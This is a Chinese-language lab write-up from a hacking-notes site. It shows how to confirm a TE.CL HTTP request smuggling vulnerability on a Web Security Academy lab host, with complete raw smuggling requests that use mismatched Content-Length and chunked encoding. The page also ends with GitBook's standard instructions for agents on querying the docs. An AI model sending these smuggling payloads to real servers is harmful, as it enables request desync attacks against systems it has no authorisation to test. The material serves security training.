> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# 通过差异响应确认 TE.CL 漏洞

### HTTP 请求走私，通过差异响应确认 TE.CL 漏洞

该 **前端** 服务器接受分块编码，而 **后端** 不支持它。/ 目标是向内部服务器注入一个被掩盖的请求，然后发送一个请求到 **/** 以引发一个响应 **404 未找到**，从而确认了不同步。

尽管应用程序允许使用 HTTP/2，但这种可利用的技术完全依赖于 **HTTP/1**-特定行为，这需要在 Burp Repeater 中手动更改协议。

#### **TE.CL 原理**

要测试是否存在漏洞 **TE.CL**，则操纵与长度相关的字段。/ 通过有意定义一个 **比** 实际正文大小更大的 Content-Length，便可迫使两台服务器以不同方式解释偏移。/ 例如，一个实际上只有 13 字节的分块正文可以声明为：

```http
Content-Length: 15

3
abc
0


```

这足以导致不同步。

<figure><img src="/files/47342cd2046877cbc1aa5b81d3c54007a54707c2" alt=""><figcaption></figcaption></figure>

#### **分块十六进制编码**

以下分块大小应以十六进制计算：

```http
POST /error HTTP/1.1
测试：A
```

<figure><img src="/files/848963e0bbee221697aa2624962943623f441a39" alt=""><figcaption></figcaption></figure>

第一次尝试是只发送分块大小（4 字节）：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
测试：A
0


```

然而，这个版本不会被服务器视为两个独立的请求，这会妨碍正常运行。

为了实现可靠的行为，后端必须将注入的请求解释为有效的 HTTP 请求。/ 字段 **Content-Length** 在发送更大的分块时被“膨胀”了：

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

通过发送这个请求 **两次**，就会发生不同步，攻击按预期生效。

<figure><img src="/files/e0fea7bb39cd65ce7e4ca767dbacfa6317423b10" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
